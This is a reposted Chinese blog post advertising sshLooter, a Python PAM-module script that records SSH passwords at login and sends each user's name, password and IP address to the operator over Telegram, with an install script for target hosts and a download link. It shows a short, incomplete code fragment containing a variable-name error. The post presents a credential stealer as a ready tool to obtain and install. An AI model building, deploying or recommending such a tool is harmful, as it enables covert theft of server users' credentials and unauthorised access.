sshLooter - 窃取SSH密码的脚本

   sshLooter是一个Python脚本,它使用PAM模块通过记录密码来窃取SSH密码,并在用户登录时通过Telegram通知脚本管理员,而不是通过不太可靠的strace。

def check_pw(user,password):

    """Check the password matches local unix password on file"""

    hashed_pw = spwd.getspnam(user)[1]

    return crypt.crypt(password,hash_pw) == hashed_pw

def pam_sm_authenticate(pamh,flags,args):

    try:

        user = pamh.get_user()

    except pamh.exception as e:

        return e.pam_result
View Code

它还附带一个安装脚本,install.sh用于在目标主机上安装所有依赖项。

ssHLooter的灵感来自于使用Python通过另一个脚本窃取SSH密码来实现PAM模块以记录失败的尝试,作者只需要更改密码记录的位置。

连接人员的用户,密码和IP地址通过Telegram发送出去。

由于SSH在服务器管理中的使用非常多,因此它通常是恶意攻击者的目标,其中一个难忘的实例是Linux Backdoor Fokirtor注入流量进入SSH协议。

你可以在这里下载sshLooter:

master.zip

或者在这里阅读更多。

 

转载于:https://www.cnblogs.com/youyouii/p/10014017.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值